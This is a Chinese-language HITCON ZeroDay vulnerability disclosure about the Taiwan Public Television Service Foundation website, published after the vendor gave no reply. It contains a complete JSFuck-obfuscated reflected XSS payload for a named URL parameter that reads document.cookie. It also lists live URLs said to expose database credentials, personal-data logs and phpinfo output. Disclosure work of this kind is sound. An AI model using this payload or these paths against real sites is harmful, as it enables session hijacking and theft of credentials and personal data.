財團法人公共電視文化事業基金會存在 XSS 與資訊洩漏

Vulnerability Overview

ZDID: ZD-2023-00076
發信 Vendor: 財團法人公共電視文化事業基金會
Title: 財團法人公共電視文化事業基金會存在 XSS 與資訊洩漏
Introduction: 網站存在 XSS 與資訊洩漏

處理狀態

目前狀態

公開

Last Update : 2023/04/27

新提交
已審核
已通報
未回報修補狀況
未複測
公開

處理歷程

2023/02/25 02:09:50 : 新提交 (由 BTtea 更新此狀態)
2023/02/25 02:30:39 : 新提交 (由 BTtea 更新此狀態)
2023/02/25 02:31:11 : 新提交 (由 BTtea 更新此狀態)
2023/02/25 03:39:43 : 新提交 (由 BTtea 更新此狀態)
2023/02/25 03:41:02 : 新提交 (由 BTtea 更新此狀態)
2023/02/26 16:12:00 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/03/01 12:27:49 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/03/01 12:27:49 : 通報未回應 (由 HITCON ZeroDay 服務團隊更新此狀態)
2023/04/27 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2023-00076
通報者：blacktea_player (BTtea)
風險：中
類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)

參考資料

攻擊者可經由該漏洞竊取使用者身份，或進行掛碼、轉址等攻擊行為。

漏洞說明： OWASP - Cross-site Scripting (XSS)
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

防護原則： OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

防禦繞過方式： OWASP - XSS Filter Evasion Cheat Sheet
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

XSS
http://web.pts.org.tw/php/programX/main.php?XCHANNEL=PTS2&XMODE=WEEK&TY=&TM=&TD=
GET 參數 XCHANNEL 存在 XSS
xss payload

"><script>[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]][([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b([][[]]%2b[])[%2b[]]%2b([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b(!![]%2b[])[%2b!%2b[]]]((!![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b([][[]]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b([][[]]%2b[])[%2b!%2b[]]%2b(%2b[![]]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b!%2b[]]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(%2b(!%2b[]%2b!%2b[]%2b!%2b[]%2b[%2b!%2b[]]))[(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([]%2b[])[([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b([][[]]%2b[])[%2b[]]%2b([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b(!![]%2b[])[%2b!%2b[]]][([][[]]%2b[])[%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b((%2b[])[([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b([][[]]%2b[])[%2b[]]%2b([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b(!![]%2b[])[%2b!%2b[]]]%2b[])[%2b!%2b[]%2b[%2b!%2b[]]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]]](!%2b[]%2b!%2b[]%2b!%2b[]%2b[!%2b[]%2b!%2b[]])%2b(![]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]])()((![]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[%2b!%2b[]%2b[!%2b[]%2b!%2b[]%2b!%2b[]]]%2b([][[]]%2b[])[!%2b[]%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b([][[]]%2b[])[%2b[]]%2b((%2b[])[([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b([][[]]%2b[])[%2b[]]%2b([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b(!![]%2b[])[%2b!%2b[]]]%2b[])[%2b!%2b[]%2b[%2b!%2b[]]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b([][[]]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(%2b(%2b!%2b[]%2b[%2b!%2b[]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b[!%2b[]%2b!%2b[]]%2b[%2b[]])%2b[])[%2b!%2b[]]%2b([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b(%2b(!%2b[]%2b!%2b[]%2b[%2b[]]))[(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([]%2b[])[([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b([][[]]%2b[])[%2b[]]%2b([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b(!![]%2b[])[%2b!%2b[]]][([][[]]%2b[])[%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b((%2b[])[([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b([][[]]%2b[])[%2b!%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[])[%2b!%2b[]]%2b([][[]]%2b[])[%2b[]]%2b([][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b(!![]%2b[])[%2b[]]%2b(!![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[%2b!%2b[]%2b[%2b[]]]%2b(!![]%2b[])[%2b!%2b[]]]%2b[])[%2b!%2b[]%2b[%2b!%2b[]]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]]](!%2b[]%2b!%2b[]%2b[%2b!%2b[]])%2b([![]]%2b[][[]])[%2b!%2b[]%2b[%2b[]]]%2b(!![]%2b[])[!%2b[]%2b!%2b[]%2b!%2b[]]%2b([%2b[]]%2b![]%2b[][(![]%2b[])[%2b[]]%2b(![]%2b[])[!%2b[]%2b!%2b[]]%2b(![]%2b[])[%2b!%2b[]]%2b(!![]%2b[])[%2b[]]])[!%2b[]%2b!%2b[]%2b[%2b[]]])</script>

上方那一串代表的是 js 語法，等效於 alert(document.cookie)

資訊洩漏
http://web.pts.org.tw/php/utility_config.php.offline (資料庫連線帳密洩漏)
http://web.pts.org.tw/php/mis6159.log (個資洩漏)
無意義但不應該被存取的站點目錄可能導致資訊洩漏或其他危害
http://web.pts.org.tw/test.php (phpinfo，後端技術詳細資訊)
http://web.pts.org.tw/.gitignore (洩漏後端檔案內容)

修補建議

建議可以使用 htmlspecialchars 函式來預防 XSS

htmlspecialchars用法:
https://www.w3schools.com/php/func_string_htmlspecialchars.asp

XSS攻擊防禦原理解說:(wiki):
https://zh.wikipedia.org/zh-tw/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC

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財團法人公共電視文化事業基金會存在 XSS 與資訊洩漏 - HITCON ZeroDay

Vulnerability Detail Report